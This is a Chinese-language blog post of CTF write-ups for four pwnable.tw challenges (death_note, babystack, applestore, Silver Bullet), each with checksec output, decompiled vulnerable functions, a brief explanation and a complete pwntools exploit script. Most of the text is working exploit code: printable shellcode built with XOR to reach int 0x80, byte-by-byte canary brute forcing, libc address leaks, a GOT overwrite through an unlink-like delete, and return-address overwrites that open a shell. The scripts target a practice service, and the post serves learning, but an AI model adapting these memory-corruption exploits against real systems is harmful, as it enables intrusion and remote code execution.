avatar

pwnable.tw 一些题解

death_note

1
2
3
4
5
6
7
[*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/death_note/death_note'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

idea

I386 架构的程序,有 rwx 段,那 8 成应该会有写 shellcode 的操作。漏洞在数组越界,可以改写 got 表来控制程序流。v1 可控并且只要求 v1 大于 10,那么可以向上写越界(负数)。关键就是我们的输入必须是 printable,意味着我们的 shellcode 必须是 0x1f<shellcode<0x7f 之间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int add_note()
{
int v1; // [esp+8h] [ebp-60h]
char s; // [esp+Ch] [ebp-5Ch]
unsigned int v3; // [esp+5Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
v1 = read_int();
if ( v1 > 10 )
{
puts("Out of bound !!");
exit(0);
}
printf("Name :");
read_input(&s, 0x50u);
if ( !is_printable(&s) )
{
puts("It must be a printable name !");
exit(-1);
}
note[v1] = strdup(&s);
puts("Done !");
return __readgsdword(0x14u) ^ v3;
}

难点其实是造出来 int 0x80(\xcd\x80),这个可以通过 xor 来获得。用 0 号,ecx 的偏移可控,只需要让 ecx 指向堆地址即可,free 的时候恰好有一个指针在堆上作为 free 的参数,这个指针在栈上,可以利用。 特别的是\x80 需要 2 次 xor 才可以得到。有了 int 0x80 我们就可以做一个 sys_read 来正常的读 shellcode 到堆上,计算好偏移放到 int 0x80 后面就行了。

1
2
3
4
5
6
7
❯ cat op | grep xor
0 30 41 42 xor BYTE PTR [ecx+0x42],al
1 31 41 42 xor DWORD PTR [ecx+0x42],eax
2 32 41 42 xor al,BYTE PTR [ecx+0x42]
3 33 41 42 xor eax,DWORD PTR [ecx+0x42]
4 34 41 xor al,0x41
5 35 41 42 43 44 xor eax,0x44434241

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'i386'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('chall.pwnable.tw', 10201)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')


def add(index, name):
sla('Your choice :', '1')
sla('Index :', index)
sla('Name :', name)

def free(index):
sla('Your choice :', '3')
sla('Index :', index)


payload = 'YYjAX4AH' # ecx = heap eax = 0xffffffff
payload += '0A@' # make \xcd
payload += '49' # make \x80 with 0xff ^ '9' ^ 'F'
payload += '0AA' # make \x80
payload += 'jAX4A'
payload += '@' * 3 # inc eax
payload += 'joZ' # edx = ord('o')
#payload += 'H' * 29
payload = payload.ljust(48,'Q')
payload += '2F'
print(disasm(payload))
add(0,'aaaa')
add(-19,payload)
#debug()
free(0)
print len(payload)
shellcode = asm(shellcraft.sh())
#debug()
s(cyclic(66) + shellcode)
irt()

babystack

1
2
3
4
5
6
7
8
❯ checksec babystack
[*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/babystack/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

保护全开,分析一下程序。主要的逻辑就是在初始化的时候会生成一个 0x10 大小的随机数,然后作为 canary。在 login 的时候会比较这个随机数,如果正确就会把 unk_202014 这个 bss 段的值设置为非 0 这样就可以使用 copy 功能了。在 login 中比较这个随机数是用的 strncmp 计算我们字符串的长度是 strlen。这两个都是遇到 \x00会停止,不会计算和比较后面的东西,当然可以直接用这个 trick 去过。 copy 和 login 用的是一个栈空间,并且在返回到 main 的时候没有处理,这样就造成了溢出。 但是在 ret 的时候会校验这个 canary( if ( memcmp(&buf, qword_202020, 0x10uLL) )), 所以还是需要爆破出来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
char v6; // [rsp+0h] [rbp-60h]
__int64 buf; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
char v9; // [rsp+50h] [rbp-10h]

set_env();
dword_202018[0] = open("/dev/urandom", 0);
read(dword_202018[0], &buf, 0x10uLL);
v3 = qword_202020;
v4 = v8;
*(_QWORD *)qword_202020 = buf;
v3[1] = v4;
close(dword_202018[0]);
while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, &v9, 16LL, 16LL);
if ( v9 == '2' )
break;
if ( v9 == '3' )
{
if ( unk_202014 )
sub_E76(&v6);
else
puts("Invalid choice");
}
else if ( v9 == '1' )
{
if ( unk_202014 )
unk_202014 = 0;
else
sub_DEF((const char *)&buf);
}
else
{
puts("Invalid choice");
}
}
if ( !unk_202014 )
exit(0);
if ( memcmp(&buf, qword_202020, 0x10uLL) )
JUMPOUT(loc_100B);
return 0LL;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('chall.pwnable.tw', 10205)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')



def login(content):
sla('>> ', '1')
sa('passowrd :',content)


def copy(content):
sla('>> ', '3')
sa('Copy :',content)




def canary(gs):
for j in range(0x1,0x100):
payload = gs + p16(j)
login(payload)
resopnse = t.recvline()
if len(resopnse) == 16:
gs += p16(j)
sa('>> ', '1')
return gs



debug()
gs0 = ''
gs1 = ''
gs2 = ''
#canary()
gs0 = canary(gs0)[0:1]
gs1 = gs0 + gs1
tmp = canary(gs1)[0:2]
tmp = canary(tmp)[0:3]
tmp = canary(tmp)[0:4]
tmp = canary(tmp)[0:5]
tmp = canary(tmp)[0:6]
tmp = canary(tmp)[0:7]
tmp = canary(tmp)[0:8]
#gs = u64(tmp)
tmp = canary(tmp)[0:9]
tmp = canary(tmp)[0:10]
tmp = canary(tmp)[0:11]
tmp = canary(tmp)[0:12]
tmp = canary(tmp)[0:13]
tmp = canary(tmp)[0:14]
tmp = canary(tmp)[0:15]
tmp = canary(tmp)[0:16]
canary_0 = u64(tmp[0:8])
canary_1 = u64(tmp[8:16])
log.info(hex(canary_0))
log.info(hex(canary_1))
debug()
login(p64(canary_0) + p64(canary_1) + '\x00'+ cyclic(46) + '\xff' + p64(canary_0) + p64(canary_1) + '1' * 8)
copy(cyclic(63))
sa('>> ', '1')
tmp = tmp + '1' + '\x0a' + '1' * 6
tmp = canary(tmp)[0:25]
tmp = canary(tmp)[0:26]
tmp = canary(tmp)[0:27]
tmp = canary(tmp)[0:28]
tmp = canary(tmp)[0:29]
tmp = canary(tmp)[0:30]
addr_libc = uu64(tmp[24:30]) - 0x6fe70 - 324
leak('addr_libc', addr_libc)
magic = addr_libc + 0x45216
login(p64(canary_0) + p64(canary_1) + '\x00'+ cyclic(46) + '\xff' + p64(canary_0) + p64(canary_1) + cyclic(24) + p64(magic))
copy(cyclic(63))
sla('>> ', '2')
irt()

applestore

1
2
3
4
5
6
[*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/applestore/applestore'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

保护情况如上,漏洞在 checkout 的时候,如果 v1 ==7174,那么就会把 iphone 8 的结构体写到栈中,而我们可以在 my_read(&buf, 0x15u); 时可以溢出到这个结构体,这样把 got 表溢出到相应的指针处就会造成信息泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}

在 delete 中实现了类似 unlink 的操作,既然我们可以控制 iphone 8 的结构体那么自然可以达到任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
v1 = 1;
v2 = (_DWORD *)dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
v3 = atoi(&nptr);
while ( v2 )
{
if ( v1 == v3 )
{
v4 = v2[2];
v5 = v2[3];
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = (_DWORD *)v2[2];
}
return __readgsdword(0x14u) ^ v7;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
elf = ELF('./applestore')
libc = ELF('libc_32.so.6')
else:
t = remote('chall.pwnable.tw', 10104)
elf = ELF('./applestore')
libc = ELF('libc_32.so.6')




def debug():
raw_input('go?')


def add(size):
sla('> ',2)
sla('> ',size)



def delete(index):
sla('> ',3)
sla('> ',index)


def check():
sla('> ',5)
sla('> ','y')


def show(payload):
sla('> ',4)
sa('> ',payload)



for i in range(20):
add(2)

for i in range(6):
add(1)
debug()
check()
#payload = 'y' + '\x00' + cyclic(19)
payload = 'y' + '\x00' + p32(elf.got['atoi']) + '\x00' * 15
show(payload)
ru('27: ')
addr_libc = uu32(t.recvn(4)) - libc.symbols['atoi']
leak('addr_libc', addr_libc)
payload = 'y' + '\x00' + p32(addr_libc + libc.symbols['environ']) + '\x00' * 15
show(payload)
ru('27: ')
addr_stack = uu32(t.recvn(4))
leak('addr_stack', addr_stack)
addr_ebp = addr_stack - 0x104
payload = '27' + p32(0) + p32(0) + p32(elf.got['atoi'] + 0x22)+ p32(addr_ebp - 0x8)
delete(payload)
ru('> ')
sl(p32(addr_libc + libc.symbols['system']) + ';$0')
irt()

Silver Bullet

1
2
3
4
5
6
[*] '/Users/carlstar/tools/CTF/PWN/pwnable.tw/silver_bullet/silver_bullet'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

在 power_up 中可以修改 silver bullet 的长度,而这个长度就是在栈上的一个值((_DWORD *)dest + 12) 反汇编看其实就是我们的输入加 0x30 (mov [eax+30h], edx)。而程序用的是 strncat 这个函数修改的字符串,这个函数会在末尾加 \x00,可以第一次写一个字符串长度为a,第二次在power_up中写 48 - a 大小的字符串,这样就会把 (DWORD *)dest + 12 的值写为 48 -a 。那么就可以溢出了,但是要控制返回地址必须让 beat 返回 1,在栈上构造 0xff 这种字符就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl power_up(char *dest)
{
char s; // [esp+0h] [ebp-34h]
size_t v3; // [esp+30h] [ebp-4h]

v3 = 0;
memset(&s, 0, 0x30u);
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 0x2Fu )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 48 - *((_DWORD *)dest + 12));
strncat(dest, &s, 48 - *((_DWORD *)dest + 12));
v3 = strlen(&s) + *((_DWORD *)dest + 12);
printf("Your new power is : %u\n", v3);
*((_DWORD *)dest + 12) = v3;
return puts("Enjoy it !");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 1
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('chall.pwnable.tw', 10103)
elf = ELF('silver_bullet')
libc = ELF('libc_32.so.6')
else:
t = remote('ip', 1337)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')



got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
def debug():
raw_input('go?')


def add(content):
sla('choice :', '1')
sla('bullet :', content)

def edit(content):
sla('choice :', '2')
sla('bullet :', content)

def beat():
sla('choice :', '3')


debug()
add(cyclic(46))
edit('0000')
edit(cyclic(7) + p32(plt_puts) + p32(0x8048954) + p32(got_puts))
beat()
beat()
ru('You win !!\n')
addr_puts = uu32(t.recvn(4))
leak('addr_puts', addr_puts)
libc = addr_puts - libc.symbols['puts']
leak('addr_libc', libc)
magic = libc + 0x3a819
add(cyclic(46))
edit('0000')
edit(cyclic(7) + p32(magic) + p32(0x8048954))
beat()
beat()
irt()
Author: CarlStar
Link: http://yoursite.com/2020/03/11/tw/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment